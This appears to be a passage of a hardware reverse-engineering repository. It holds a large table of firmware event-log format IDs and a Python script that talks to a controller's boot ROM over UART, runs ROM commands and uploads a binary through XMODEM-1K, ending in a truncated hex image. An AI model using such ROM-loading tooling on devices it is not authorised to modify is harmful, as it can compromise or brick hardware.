0xCC482090: EventFmt(2), 541 | 0xCC482091: EventFmt(2), 542 | 0xCC482092: EventFmt(2), 543 | 0xCC482093: EventFmt(2), 544 | 0xCC482094: EventFmt(2), 545 | 0xCC482095: EventFmt(2), 546 | 0xCC482096: EventFmt(2), 547 | 0xCC482097: EventFmt(2), 548 | 0xCC482098: EventFmt(2), 549 | 0xCC482099: EventFmt(2), 550 | 0xCC48209A: EventFmt(2), 551 | 0xCC48209B: EventFmt(2), 552 | 0xCC48209C: EventFmt(2), 553 | 0xCC48209D: EventFmt(2), 554 | 0xCC48209E: EventFmt(1), 555 | 0xCC48209F: EventFmt(2), 556 | 0xCC4820A0: EventFmt(5), 557 | 0xCC4820A1: EventFmt(3), 558 | 0xCC4820A2: EventFmt(1), 559 | 0xCD9C2001: EventFmt(1), 560 | 0xCD9C2002: EventFmt(1), 561 | 0xCD9C2003: EventFmt(1), 562 | 0xCD9C2004: EventFmt(1), 563 | 0xCD9C2005: EventFmt(3), 564 | 0xCD9C2006: EventFmt(1), 565 | 0xCD9C2007: EventFmt(1), 566 | 0xCD9C2008: EventFmt(1), 567 | 0xCD9C2009: EventFmt(1), 568 | 0xCD9C200A: EventFmt(1), 569 | 0xCD9C200B: EventFmt(2), 570 | 0xCD9C200C: EventFmt(2), 571 | 0xCD9C200D: EventFmt(1), 572 | 0xCD9C200E: EventFmt(1), 573 | 0xCD9C200F: EventFmt(1), 574 | 0xCD9C2010: EventFmt(1), 575 | 0xCD9C2011: EventFmt(1), 576 | 0xCD9C2012: EventFmt(1), 577 | 0xCD9C2013: EventFmt(1), 578 | 0xCD9C2014: EventFmt(2), 579 | 0xCD9C2015: EventFmt(2), 580 | 0xCD9C2016: EventFmt(1), 581 | 0xCD9C2017: EventFmt(1), 582 | 0xCD9C2018: EventFmt(1), 583 | 0xCD9C2019: EventFmt(1), 584 | 0xCD9C201A: EventFmt(1), 585 | 0xCD9C201B: EventFmt(1), 586 | 0xCD9C201C: EventFmt(1), 587 | 0xCD9C201D: EventFmt(2), 588 | 0xCD9C201E: EventFmt(2), 589 | 0xCD9C201F: EventFmt(1), 590 | 0xCD9C2020: EventFmt(1), 591 | 0xCD9C2021: EventFmt(1), 592 | 0xCD9C2022: EventFmt(5, 0, '{:8x} {:8x} {:8x} {:8x}\n'), 593 | 0xCD9C2023: EventFmt(1), 594 | 0xCD9C2024: EventFmt(1), 595 | 0xCD9C2025: EventFmt(5), 596 | 0xCD9C2026: EventFmt(5), 597 | 0xCD9C2027: EventFmt(5), 598 | 0xCD9C2028: EventFmt(5), 599 | 0xCD9C2029: EventFmt(5), 600 | 0xCD9C202A: EventFmt(5), 601 | 0xCD9C202B: EventFmt(1), 602 | 0xCD9C202C: EventFmt(5), 603 | 0xCD9C202D: EventFmt(5), 604 | 0xCD9C202E: EventFmt(5), 605 | 0xCD9C202F: EventFmt(5), 606 | 0xCD9C2030: EventFmt(5), 607 | 0xCD9C2031: EventFmt(5), 608 | 0xCD9C2032: EventFmt(1), 609 | 0xCD9C2033: EventFmt(1), 610 | 0xCD9C2034: EventFmt(1), 611 | 0xCD9C2035: EventFmt(9), 612 | 0xCD9C2036: EventFmt(1), 613 | 0xCD9C2037: EventFmt(1), 614 | 0xCD9C2038: EventFmt(1), 615 | 0xCD9C2039: EventFmt(9), 616 | 0xCD9C203A: EventFmt(1), 617 | 0xCD9C203B: EventFmt(1), 618 | 0xCD9C203C: EventFmt(9), 619 | 0xCD9C203D: EventFmt(1), 620 | 0xCD9C203E: EventFmt(5), 621 | 0xCD9C203F: EventFmt(1), 622 | 0xCD9C2040: EventFmt(5), 623 | 0xCD9C2041: EventFmt(1), 624 | 0xCD9C2042: EventFmt(5), 625 | 0xCD9C2043: EventFmt(1), 626 | 0xCD9C2044: EventFmt(5), 627 | 0xCD9C2045: EventFmt(1), 628 | 0xCD9C2046: EventFmt(5), 629 | 0xCD9C2047: EventFmt(1), 630 | 0xCD9C2048: EventFmt(5), 631 | 0xCD9C2049: EventFmt(1), 632 | 0xCD9C204A: EventFmt(5), 633 | 0xCD9C204B: EventFmt(1), 634 | 0xCD9C204C: EventFmt(5), 635 | 0xCD9C204D: EventFmt(5), 636 | 0xCD9C204E: EventFmt(5), 637 | 0xCD9C204F: EventFmt(5), 638 | 0xCD9C2050: EventFmt(5), 639 | 0xCD9C2051: EventFmt(5), 640 | 0xCD9C2052: EventFmt(5), 641 | 0xCD9C2053: EventFmt(5), 642 | 0xCD9C2054: EventFmt(5), 643 | 0xCD9C2055: EventFmt(5), 644 | 0xCD9C2056: EventFmt(5), 645 | 0xCD9C2057: EventFmt(5), 646 | 0xCD9C2058: EventFmt(5), 647 | 0xCD9C2059: EventFmt(5), 648 | 0xCD9C205A: EventFmt(5), 649 | 0xCD9C205B: EventFmt(5), 650 | 0xCD9C205C: EventFmt(5), 651 | 0xCD9C205D: EventFmt(5), 652 | 0xCD9C205E: EventFmt(5), 653 | 0xCD9C205F: EventFmt(5), 654 | 0xCD9C2060: EventFmt(5), 655 | 0xCD9C2061: EventFmt(1), 656 | 0xCD9C2062: EventFmt(3), 657 | 0xCD9C2063: EventFmt(1), 658 | 0xCD9C2064: EventFmt(2), 659 | 0xCD9C2065: EventFmt(1), 660 | 0xCD9C2066: EventFmt(1), 661 | 0xCD9C2067: EventFmt(3), 662 | 0xCD9C2068: EventFmt(1), 663 | 0xCD9C2069: EventFmt(2), 664 | 0xCD9C206A: EventFmt(1), 665 | 0xCD9C206B: EventFmt(1), 666 | 0xCD9C206C: EventFmt(3), 667 | 0xCD9C206D: EventFmt(1), 668 | 0xCD9C206E: EventFmt(2), 669 | 0xCD9C206F: EventFmt(1), 670 | 0xCD9C2070: EventFmt(1), 671 | 0xCD9C2071: EventFmt(3), 672 | 0xCD9C2072: EventFmt(1), 673 | 0xCD9C2073: EventFmt(2), 674 | 0xCD9C2074: EventFmt(1), 675 | 0xCD9C2075: EventFmt(1), 676 | 0xCD9C2076: EventFmt(3), 677 | 0xCD9C2077: EventFmt(1), 678 | 0xCD9C2078: EventFmt(2), 679 | 0xCD9C2079: EventFmt(1), 680 | 0xCD9C207A: EventFmt(1), 681 | 0xCD9C207B: EventFmt(1), 682 | 0xCD9C207C: EventFmt(3), 683 | 0xCD9C207D: EventFmt(1), 684 | 0xCD9C207E: EventFmt(2), 685 | 0xCD9C207F: EventFmt(1), 686 | 0xCD9C2080: EventFmt(1), 687 | 0xCD9C2081: EventFmt(3), 688 | 0xCD9C2082: EventFmt(1), 689 | 0xCD9C2083: EventFmt(2), 690 | 0xCD9C2084: EventFmt(1), 691 | 0xCD9C2085: EventFmt(1), 692 | 0xCD9C2086: EventFmt(3), 693 | 0xCD9C2087: EventFmt(1), 694 | 0xCD9C2088: EventFmt(2), 695 | 0xCD9C2089: EventFmt(1), 696 | 0xCD9C208A: EventFmt(1), 697 | 0xCD9C208B: EventFmt(3), 698 | 0xCD9C208C: EventFmt(1), 699 | 0xCD9C208D: EventFmt(2), 700 | 0xCD9C208E: EventFmt(1), 701 | 0xCD9C208F: EventFmt(1), 702 | 0xCD9C2090: EventFmt(3), 703 | 0xCD9C2091: EventFmt(1), 704 | 0xCD9C2092: EventFmt(2), 705 | 0xCD9C2093: EventFmt(1), 706 | 0xCD9C2094: EventFmt(1), 707 | 0xCD9C2095: EventFmt(1), 708 | 0xCD9C2096: EventFmt(3), 709 | 0xCD9C2097: EventFmt(1), 710 | 0xCD9C2098: EventFmt(2), 711 | 0xCD9C2099: EventFmt(1), 712 | 0xCD9C209A: EventFmt(1), 713 | 0xCD9C209B: EventFmt(3), 714 | 0xCD9C209C: EventFmt(1), 715 | 0xCD9C209D: EventFmt(2), 716 | 0xCD9C209E: EventFmt(1), 717 | 0xCD9C209F: EventFmt(1), 718 | 0xCD9C20A0: EventFmt(3), 719 | 0xCD9C20A1: EventFmt(1), 720 | 0xCD9C20A2: EventFmt(2), 721 | 0xCD9C20A3: EventFmt(1), 722 | 0xCD9C20A4: EventFmt(1), 723 | 0xCD9C20A5: EventFmt(3), 724 | 0xCD9C20A6: EventFmt(1), 725 | 0xCD9C20A7: EventFmt(2), 726 | 0xCD9C20A8: EventFmt(1), 727 | 0xCD9C20A9: EventFmt(1), 728 | 0xCD9C20AA: EventFmt(3), 729 | 0xCD9C20AB: EventFmt(1), 730 | 0xCD9C20AC: EventFmt(2), 731 | 0xCD9C20AD: EventFmt(1), 732 | 0xCD9C20AE: EventFmt(1), 733 | 0xCD9C20AF: EventFmt(3), 734 | 0xCD9C20B0: EventFmt(1), 735 | 0xCD9C20B1: EventFmt(2), 736 | 0xCD9C20B2: EventFmt(1), 737 | 0xCD9C20B3: EventFmt(1), 738 | 0xCD9C20B4: EventFmt(3), 739 | 0xCD9C20B5: EventFmt(1), 740 | 0xCD9C20B6: EventFmt(2), 741 | 0xCD9C20B7: EventFmt(1), 742 | 0xCD9C20B8: EventFmt(1), 743 | 0xCD9C20B9: EventFmt(3), 744 | 0xCD9C20BA: EventFmt(1), 745 | 0xCD9C20BB: EventFmt(2), 746 | 0xCD9C20BC: EventFmt(1), 747 | 0xCD9C20BD: EventFmt(1), 748 | 0xCD9C20BE: EventFmt(1), 749 | 0xCD9C20BF: EventFmt(3), 750 | 0xCD9C20C0: EventFmt(1), 751 | 0xCD9C20C1: EventFmt(2), 752 | 0xCD9C20C2: EventFmt(1), 753 | 0xCD9C20C3: EventFmt(1), 754 | 0xCD9C20C4: EventFmt(3), 755 | 0xCD9C20C5: EventFmt(1), 756 | 0xCD9C20C6: EventFmt(2), 757 | 0xCD9C20C7: EventFmt(1), 758 | 0xCD9C20C8: EventFmt(1), 759 | 0xCD9C20C9: EventFmt(3), 760 | 0xCD9C20CA: EventFmt(1), 761 | 0xCD9C20CB: EventFmt(2), 762 | 0xCD9C20CC: EventFmt(1), 763 | 0xCD9C20CD: EventFmt(1), 764 | 0xCD9C20CE: EventFmt(3), 765 | 0xCD9C20CF: EventFmt(1), 766 | 0xCD9C20D0: EventFmt(2), 767 | 0xCD9C20D1: EventFmt(1), 768 | 0xCD9C20D2: EventFmt(1), 769 | 0xCD9C20D3: EventFmt(3), 770 | 0xCD9C20D4: EventFmt(1), 771 | 0xCD9C20D5: EventFmt(2), 772 | 0xCD9C20D6: EventFmt(1), 773 | 0xCD9C20D7: EventFmt(1), 774 | 0xCD9C20D8: EventFmt(3), 775 | 0xCD9C20D9: EventFmt(1), 776 | 0xCD9C20DA: EventFmt(2), 777 | 0xCD9C20DB: EventFmt(1), 778 | 0xCD9C20DC: EventFmt(1), 779 | 0xCD9C20DD: EventFmt(3), 780 | 0xCD9C20DE: EventFmt(1), 781 | 0xCD9C20DF: EventFmt(2), 782 | 0xCD9C20E0: EventFmt(1), 783 | 0xCD9C20E1: EventFmt(1), 784 | 0xCD9C20E2: EventFmt(3), 785 | 0xCD9C20E3: EventFmt(1), 786 | 0xCD9C20E4: EventFmt(2), 787 | 0xCD9C20E5: EventFmt(1), 788 | 0xCD9C20E6: EventFmt(1), 789 | 0xCD9C20E7: EventFmt(3), 790 | 0xCD9C20E8: EventFmt(1), 791 | 0xCD9C20E9: EventFmt(2), 792 | 0xCD9C20EA: EventFmt(1), 793 | 0xCD9C20EB: EventFmt(1), 794 | 0xCD9C20EC: EventFmt(3), 795 | 0xCD9C20ED: EventFmt(1), 796 | 0xCD9C20EE: EventFmt(2), 797 | 0xCD9C20EF: EventFmt(1), 798 | 0xCD9C20F0: EventFmt(1), 799 | 0xCD9C20F1: EventFmt(1), 800 | 0xCD9C20F2: EventFmt(3), 801 | 0xCD9C20F3: EventFmt(1), 802 | 0xCD9C20F4: EventFmt(2), 803 | 0xCD9C20F5: EventFmt(1), 804 | 0xCD9C20F6: EventFmt(1), 805 | 0xCD9C20F7: EventFmt(3), 806 | 0xCD9C20F8: EventFmt(1), 807 | 0xCD9C20F9: EventFmt(2), 808 | 0xCD9C20FA: EventFmt(1), 809 | 0xCD9C20FB: EventFmt(1), 810 | 0xCD9C20FC: EventFmt(1), 811 | 0xCD9C20FD: EventFmt(3), 812 | 0xCD9C20FE: EventFmt(1), 813 | 0xCD9C20FF: EventFmt(2), 814 | 0xCD9C2100: EventFmt(1), 815 | 0xCD9C2101: EventFmt(1), 816 | 0xCD9C2102: EventFmt(1), 817 | 0xCD9C2103: EventFmt(3), 818 | 0xCD9C2104: EventFmt(1), 819 | 0xCD9C2105: EventFmt(2), 820 | 0xCD9C2106: EventFmt(1), 821 | 0xCD9C2107: EventFmt(1), 822 | 0xCD9C2108: EventFmt(1), 823 | 0xCD9C2109: EventFmt(3), 824 | 0xCD9C210A: EventFmt(1), 825 | 0xCD9C210B: EventFmt(2), 826 | 0xCD9C210C: EventFmt(1), 827 | 0xCD9C210D: EventFmt(1), 828 | 0xCD9C210E: EventFmt(1), 829 | 0xCD9C210F: EventFmt(3), 830 | 0xCD9C2110: EventFmt(1), 831 | 0xCD9C2111: EventFmt(2), 832 | 0xCD9C2112: EventFmt(1), 833 | 0xCD9C2113: EventFmt(1), 834 | 0xCD9C2114: EventFmt(3), 835 | 0xCD9C2115: EventFmt(1), 836 | 0xCD9C2116: EventFmt(2), 837 | 0xCD9C2117: EventFmt(1), 838 | 0xCD9C2118: EventFmt(1), 839 | 0xCD9C2119: EventFmt(3), 840 | 0xCD9C211A: EventFmt(1), 841 | 0xCD9C211B: EventFmt(2), 842 | 0xCD9C211C: EventFmt(1), 843 | 0xCD9C211D: EventFmt(1), 844 | 0xCD9C211E: EventFmt(3), 845 | 0xCD9C211F: EventFmt(1), 846 | 0xCD9C2120: EventFmt(2), 847 | 0xCD9C2121: EventFmt(1), 848 | 0xCD9C2122: EventFmt(1), 849 | 0xCD9C2123: EventFmt(3), 850 | 0xCD9C2124: EventFmt(1), 851 | 0xCD9C2125: EventFmt(2), 852 | 0xCD9C2126: EventFmt(1), 853 | 0xCD9C2127: EventFmt(1), 854 | 0xCD9C2128: EventFmt(1), 855 | 0xCD9C2129: EventFmt(2), 856 | 0xCD9C212A: EventFmt(2), 857 | 0xCD9C212B: EventFmt(2), 858 | 0xCD9C212C: EventFmt(2), 859 | 0xCD9C212D: EventFmt(2), 860 | 0xCD9C212E: EventFmt(2), 861 | 0xCD9C212F: EventFmt(2), 862 | 0xCD9C2130: EventFmt(2), 863 | 0xCD9C2131: EventFmt(2), 864 | 0xCD9C2132: EventFmt(2), 865 | 0xCD9C2133: EventFmt(2), 866 | 0xCD9C2134: EventFmt(2), 867 | 0xCD9C2135: EventFmt(2), 868 | 0xCD9C2136: EventFmt(2), 869 | 0xCD9C2137: EventFmt(2), 870 | 0xCD9C2138: EventFmt(2), 871 | 0xCD9C2139: EventFmt(2), 872 | 0xCD9C213A: EventFmt(2), 873 | 0xCD9C213B: EventFmt(2), 874 | 0xCD9C213C: EventFmt(1), 875 | 0xCD9C213D: EventFmt(1), 876 | 0xCD9C213E: EventFmt(1), 877 | 0xCD9C213F: EventFmt(2), 878 | 0xCD9C2140: EventFmt(2), 879 | 0xCD9C2141: EventFmt(4), 880 | 0xCD9C2142: EventFmt(1), 881 | 0xCD9C2143: EventFmt(2), 882 | 0xCD9C2144: EventFmt(1), 883 | 0xCD9C2145: EventFmt(3), 884 | 0xCD9C2146: EventFmt(1), 885 | 0xCD9C2147: EventFmt(2), 886 | 0xCD9C2148: EventFmt(1), 887 | 0xCD9C2149: EventFmt(1), 888 | 0xCD9C214A: EventFmt(1), 889 | 0xCD9C214B: EventFmt(3), 890 | 0xCD9C214C: EventFmt(1), 891 | 0xCD9C214D: EventFmt(2), 892 | 0xCD9C214E: EventFmt(1), 893 | 0xCD9C214F: EventFmt(1), 894 | 0xCEAC2052: EventFmt(2), 895 | 0xCEAC2053: EventFmt(1), 896 | 0xCEAC2054: EventFmt(2), 897 | 0xCEAC2055: EventFmt(2), 898 | 0xCEAC2056: EventFmt(2), 899 | 0xCEAC2057: EventFmt(2), 900 | 0xCEAC2058: EventFmt(2), 901 | 0xCEAC2059: EventFmt(2), 902 | 0xCEAC205A: EventFmt(2), 903 | 0xCEAC205B: EventFmt(2), 904 | 0xCEAC205C: EventFmt(2), 905 | 0xCEAC205D: EventFmt(2), 906 | 0xCEAC205E: EventFmt(2), 907 | 0xCEAC205F: EventFmt(2), 908 | 0xCEAC2060: EventFmt(2), 909 | 0xCEAC2061: EventFmt(2), 910 | 0xCEAC2062: EventFmt(2), 911 | 0xCEAC2063: EventFmt(2), 912 | 0xCEAC2064: EventFmt(2), 913 | 0xCEAC2065: EventFmt(2), 914 | 0xCEAC2066: EventFmt(2), 915 | 0xCEAC2067: EventFmt(2), 916 | 0xCEAC2068: EventFmt(2), 917 | 0xCEAC2069: EventFmt(2), 918 | 0xCEAC206A: EventFmt(2), 919 | 0xCEAC206B: EventFmt(2), 920 | 0xCEAC206C: EventFmt(2), 921 | 0xCEAC206D: EventFmt(1), 922 | 0xCEAC206E: EventFmt(2), 923 | 0xD0512000: EventFmt(1, 0, 'MonCmd_Alloc ptr={:8x}\n'), 924 | 0xD051203B: EventFmt(2), 925 | 0xD0F12005: EventFmt(1), 926 | 0xD0F12006: EventFmt(1), 927 | 0xD1EA2000: EventFmt(1, 0, 'IRQ_Stack0\n'), 928 | 0xD1EA2001: EventFmt(1, 0, 'ABT_Stack0\n'), 929 | 0xD1EA2002: EventFmt(1, 0, 'UDF_Stack0\n'), 930 | 0xD1EA2003: EventFmt(1, 0, 'SVC_Stack0\n'), 931 | 0xD1EA2004: EventFmt(1, 0, 'SYS_Stack0\n'), 932 | 0xD1EA2005: EventFmt(1, 0, 'FIQ_Stack0\n'), 933 | 0xD1EA2006: EventFmt(1, 0, 'WUP_Stack0\n'), 934 | 0xD5DC2002: EventFmt(1), 935 | 0xD5DC2003: EventFmt(2), 936 | 0xD5DC2004: EventFmt(1), 937 | 0xD5DC2005: EventFmt(1), 938 | 0xD5DC2006: EventFmt(2), 939 | 0xD5DC2007: EventFmt(1), 940 | 0xD5DC2008: EventFmt(7), 941 | 0xD5DC2009: EventFmt(2), 942 | 0xD5DC2013: EventFmt(8), 943 | 0xD5DC2014: EventFmt(21), 944 | 0xD5DC2015: EventFmt(2), 945 | 0xD5DC2016: EventFmt(1), 946 | 0xD6942008: EventFmt(4), 947 | 0xD6942009: EventFmt(4), 948 | 0xD694200A: EventFmt(1), 949 | 0xD694200B: EventFmt(11), 950 | 0xDE042000: EventFmt(1), 951 | 0xDE042001: EventFmt(1), 952 | 0xDE042002: EventFmt(2), 953 | 0xDE042003: EventFmt(1), 954 | 0xDE042004: EventFmt(1), 955 | 0xDE042005: EventFmt(3), 956 | 0xDE042006: EventFmt(1), 957 | 0xDE042007: EventFmt(1), 958 | 0xDE042008: EventFmt(2), 959 | 0xDE042009: EventFmt(2), 960 | 0xDE04200A: EventFmt(1), 961 | 0xDE04200B: EventFmt(4), 962 | 0xDE04200C: EventFmt(1), 963 | 0xDE04200D: EventFmt(2), 964 | 0xDE04200E: EventFmt(1), 965 | 0xDE04200F: EventFmt(1), 966 | 0xDE042010: EventFmt(2), 967 | 0xDE042011: EventFmt(3), 968 | 0xDE042012: EventFmt(1), 969 | 0xDE042013: EventFmt(1), 970 | 0xDE042014: EventFmt(3), 971 | 0xDE042015: EventFmt(1), 972 | 0xDE042016: EventFmt(1), 973 | 0xDE042017: EventFmt(7), 974 | 0xDE042018: EventFmt(1), 975 | 0xDE042019: EventFmt(1), 976 | 0xDE04201A: EventFmt(8), 977 | 0xDE04201B: EventFmt(1), 978 | 0xDE04201C: EventFmt(1), 979 | 0xDE04201D: EventFmt(2), 980 | 0xDE04201E: EventFmt(3), 981 | 0xDE04201F: EventFmt(1), 982 | 0xDE042020: EventFmt(1), 983 | 0xDE042021: EventFmt(1), 984 | 0xDE042022: EventFmt(2), 985 | 0xDE042023: EventFmt(3), 986 | 0xDE042024: EventFmt(1), 987 | 0xDE042025: EventFmt(1), 988 | 0xDE042026: EventFmt(3), 989 | 0xDE042027: EventFmt(2), 990 | 0xDE042028: EventFmt(1), 991 | 0xF2B24000: EventFmt(1, 0, 'ERROR:Invalid calibration mode was requested\n'), 992 | 0xF2B24001: EventFmt(5, 1, 'ERROR:{} calibration error ch{}, ce{}, lun{} \n'), 993 | 0xF55E2009: EventFmt(1), 994 | 0xF55E200A: EventFmt(2), 995 | 0xF55E200B: EventFmt(2, 1), 996 | 0xF55E200C: EventFmt(2), 997 | 0xF55E200D: EventFmt(3, 2), 998 | 0xF55E200E: EventFmt(2), 999 | 0xF55E200F: EventFmt(2), 1000 | 0xF55E2010: EventFmt(2), 1001 | 0xF55E2011: EventFmt(2), 1002 | 0xF55E2012: EventFmt(2), 1003 | 0xF55E2013: EventFmt(2), 1004 | 0xF55E2014: EventFmt(2), 1005 | 0xF55E2015: EventFmt(2), 1006 | 0xF55E2016: EventFmt(2), 1007 | 0xF55E2017: EventFmt(2), 1008 | 0xF55E2018: EventFmt(2), 1009 | 0xF55E2019: EventFmt(2), 1010 | 0xF55E201A: EventFmt(2), 1011 | 0xF55E201B: EventFmt(2), 1012 | 0xF55E201C: EventFmt(2), 1013 | 0xF55E201D: EventFmt(1), 1014 | 0xF55E201E: EventFmt(2), 1015 | 0xF55E201F: EventFmt(2), 1016 | 0xF55E2020: EventFmt(2), 1017 | 0xF55E2021: EventFmt(2), 1018 | 0xF55E2022: EventFmt(2), 1019 | 0xF55E2023: EventFmt(2), 1020 | 0xF55E2024: EventFmt(2), 1021 | 0xF55E2025: EventFmt(2), 1022 | 0xF55E2026: EventFmt(2), 1023 | 0xF55E2027: EventFmt(2), 1024 | 0xF55E2028: EventFmt(2), 1025 | 0xF55E2029: EventFmt(2), 1026 | 0xF55E202A: EventFmt(2), 1027 | 0xF55E202B: EventFmt(2), 1028 | 0xF55E202C: EventFmt(2), 1029 | 0xF55E202D: EventFmt(2), 1030 | 0xF55E202E: EventFmt(2), 1031 | 0xF55E202F: EventFmt(2), 1032 | 0xF55E2030: EventFmt(2), 1033 | 0xF55E2031: EventFmt(2), 1034 | 0xF55E2032: EventFmt(2), 1035 | 0xF55E2033: EventFmt(2), 1036 | 0xF55E2034: EventFmt(2), 1037 | 0xF55E2035: EventFmt(2), 1038 | 0xF55E2036: EventFmt(2), 1039 | 0xF55E2037: EventFmt(2), 1040 | 0xF55E2038: EventFmt(2), 1041 | 0xF55E2039: EventFmt(2), 1042 | 0xF55E203A: EventFmt(2), 1043 | 0xF55E203B: EventFmt(2), 1044 | 0xF55E203C: EventFmt(2), 1045 | 0xF55E203D: EventFmt(2), 1046 | 0xF55E203E: EventFmt(2), 1047 | 0xF55E203F: EventFmt(3), 1048 | 0xF55E2040: EventFmt(1), 1049 | 0xF55E2041: EventFmt(3), 1050 | 0xF55E2042: EventFmt(3), 1051 | 0xF55E2043: EventFmt(3), 1052 | 0xF55E2044: EventFmt(3), 1053 | 0xF55E2045: EventFmt(2), 1054 | 0xF55E2046: EventFmt(2), 1055 | 0xF55E2047: EventFmt(2), 1056 | 0xF55E2048: EventFmt(1), 1057 | 0xF55E2049: EventFmt(2), 1058 | 0xF55E204A: EventFmt(2), 1059 | 0xF55E204B: EventFmt(2), 1060 | 0xF55E204C: EventFmt(2), 1061 | 0xF55E204D: EventFmt(2), 1062 | 0xF55E204E: EventFmt(2), 1063 | 0xF55E204F: EventFmt(2), 1064 | 0xF55E2050: EventFmt(2), 1065 | 0xF55E2051: EventFmt(2), 1066 | 0xF55E2052: EventFmt(2), 1067 | 0xF55E2053: EventFmt(2), 1068 | 0xF55E2058: EventFmt(2), 1069 | 0xF55E2059: EventFmt(3), 1070 | 0xF55E205A: EventFmt(1), 1071 | 0xFB3F2001: EventFmt(1), 1072 | 0xFB3F2002: EventFmt(1), 1073 | 0xFB3F2003: EventFmt(6), 1074 | 0xFB3F2004: EventFmt(10), 1075 | 0xFB3F2005: EventFmt(8), 1076 | 0xFB3F2006: EventFmt(6), 1077 | 0xFB3F2007: EventFmt(7), 1078 | 0xFB3F2008: EventFmt(5), 1079 | 0xFB3F2009: EventFmt(7), 1080 | 0xFB3F200A: EventFmt(1), 1081 | 0xFB3F200B: EventFmt(1), 1082 | 0xFB3F200C: EventFmt(1), 1083 | 0xFB3F200D: EventFmt(7), 1084 | 0xFB3F200E: EventFmt(1), 1085 | 0xFB3F200F: EventFmt(1), 1086 | 0xFB3F2010: EventFmt(1), 1087 | 0xFB3F2011: EventFmt(7), 1088 | 0xFB3F2012: EventFmt(1), 1089 | 0xFB3F2013: EventFmt(1), 1090 | 0xFB3F2014: EventFmt(1), 1091 | 0xFB3F2015: EventFmt(10), 1092 | 0xFB3F2016: EventFmt(1), 1093 | 0xFB3F2017: EventFmt(1), 1094 | 0xFB3F2018: EventFmt(1), 1095 | 0xFB3F2019: EventFmt(3), 1096 | 0xFB3F201A: EventFmt(1), 1097 | 0xFB3F201B: EventFmt(1), 1098 | 0xFB3F201C: EventFmt(1), 1099 | 0xFB3F201D: EventFmt(1), 1100 | 0xFD262000: EventFmt(1, 0, 'IRQ_Stack3\n'), 1101 | 0xFD262001: EventFmt(1, 0, 'ABT_Stack3\n'), 1102 | 0xFD262002: EventFmt(1, 0, 'UDF_Stack3\n'), 1103 | 0xFD262003: EventFmt(1, 0, 'SVC_Stack3\n'), 1104 | 0xFD262004: EventFmt(1, 0, 'SYS_Stack3\n'), 1105 | 0xFD262005: EventFmt(1, 0, 'FIQ_Stack3\n'), 1106 | 0xFD262006: EventFmt(1, 0, 'WUP_Stack3\n'), 1107 | } 1108 | -------------------------------------------------------------------------------- /efc_rom.py: -------------------------------------------------------------------------------- 1 | import pyftdi.serialext 2 | import struct 3 | from pathlib import Path 4 | from tqdm import trange 5 | 6 | class Stuff: 7 | def __init__(self): 8 | # XXX this needs to be connected to titania uart1 9 | self.port = pyftdi.serialext.serial_for_url('ftdi://ftdi:232:AD5V3R0X/1', baudrate=460800) 10 | self.port.timeout = .05 11 | 12 | def _read(self, size: int) -> bytes: 13 | return self.port.read(size) 14 | 15 | def _read_all(self, size: int) -> bytes: 16 | buf = b'' 17 | while len(buf) != size: 18 | buf += self._read(size - len(buf)) 19 | return buf 20 | 21 | def _write(self, buf: bytes): 22 | return self.port.write(buf) 23 | 24 | def rom_cmd(self, cmd: str): 25 | cmd += '\n' 26 | self._write(bytes(cmd, 'ascii')) 27 | echo_len = len(cmd) 28 | echo = self._read_all(echo_len) 29 | #return self.read_until(b'\n>') 30 | 31 | def info(self): 32 | self.rom_cmd('run') 33 | rv = self.read_until(b'\n>') 34 | return rv 35 | 36 | def run(self): 37 | self.rom_cmd('run') 38 | rv = self.read_until(b'\n>') 39 | return int(rv.split(b'\n')[0], 16) 40 | 41 | def xm_wait_c(self): 42 | while self._read(1) != self.CRC: 43 | pass 44 | 45 | def read_until(self, stop): 46 | buf = b'' 47 | while True: 48 | b = self._read_all(1) 49 | if len(b) == 0: break 50 | buf += b 51 | if buf.endswith(stop): break 52 | return buf 53 | 54 | def xm_eot(self): 55 | self._write(self.EOT) 56 | rv = self.xm_read() 57 | # XXX this read_until prompt should be within rom_cmd 58 | if rv == self.EOT: 59 | return rv, None 60 | return rv, self.read_until(b'\n>') 61 | 62 | def xm_crc(self, buf): 63 | crc = 0 64 | for b in buf: 65 | crc ^= b << 8 66 | for i in range(8): 67 | if crc & 0x8000: 68 | crc = (crc << 1) ^ 0x1021 69 | else: 70 | crc <<= 1 71 | crc &= 0xffff 72 | return crc 73 | 74 | #''' 75 | 76 | SOH = b'\1' 77 | STX = b'\2' 78 | EOT = b'\4' 79 | ACK = b'\6' 80 | NAK = b'\x15' 81 | CRC = b'C' 82 | 83 | BLOCK_SIZE = 1024 84 | 85 | def xm_read(self): 86 | end_chars = (self.NAK, self.ACK, self.EOT, self.CRC) 87 | buf = b'' 88 | while True: 89 | b = self._read_all(1) 90 | if len(b) == 0: break 91 | buf += b 92 | if b in end_chars: break 93 | return buf 94 | 95 | def xm_read_lines(self): 96 | return self.xm_read().split(b'\n') 97 | 98 | def xm_send(self, buf: bytes): 99 | block_len = self.BLOCK_SIZE 100 | self.xm_wait_c() 101 | pos = 0 102 | block_idx = 1 103 | while pos < len(buf): 104 | xfer_len = min(block_len, len(buf) - pos) 105 | hdr = self.STX + block_idx.to_bytes(1) + (~block_idx & 0xff).to_bytes(1) 106 | data = buf[pos:pos+xfer_len] 107 | if xfer_len < block_len: 108 | data += b'\0' * (block_len - xfer_len) 109 | crc = self.xm_crc(data) 110 | block = hdr + data + crc.to_bytes(2, 'big') 111 | #print(f'block {block_idx} {pos:x}') 112 | #print(block.hex()) 113 | self._write(block) 114 | r = self.xm_read_lines() 115 | ''' 116 | for l in r[:-1]: print('line', l) 117 | print('response', r[-1]) 118 | #''' 119 | if r[-1] != self.ACK: 120 | if r[-1] in (self.NAK, self.CRC): 121 | self.xm_eot() 122 | if len(r) > 1: 123 | return int(r[0], 16) 124 | return -1 125 | pos += xfer_len 126 | block_idx += 1 127 | block_idx &= 0xff 128 | rv = self.xm_eot() 129 | #print('eot rv', rv) 130 | if rv[0] != self.ACK: return -1 131 | return 0 132 | #''' 133 | 134 | shit=bytes.fromhex(''' 135 | 1D 33 47 77 00 01 FF 00 00 70 17 00 00 28 00 00 136 | 58 2E 24 20 EC D9 19 90 8E CD 73 D7 A5 E8 CB A3 137 | C1 4F 7C 37 D6 26 49 A5 9F 2D 40 25 1F 76 2F 19 138 | C4 47 5E 18 00 48 D3 EA 4E 81 A0 A4 6E 2E 73 3B 139 | 7A 70 4C 7C 7F 87 96 D8 AC A5 93 CF 3A 8E 29 93 140 | C6 3A C2 AA 6F 96 49 77 FD 62 EF 70 B9 EF D1 97 141 | B1 CC 91 41 EE 97 59 E0 2A 55 60 C9 E3 43 EB 08 142 | 00 01 47 11 ED E9 6A D9 89 9B F2 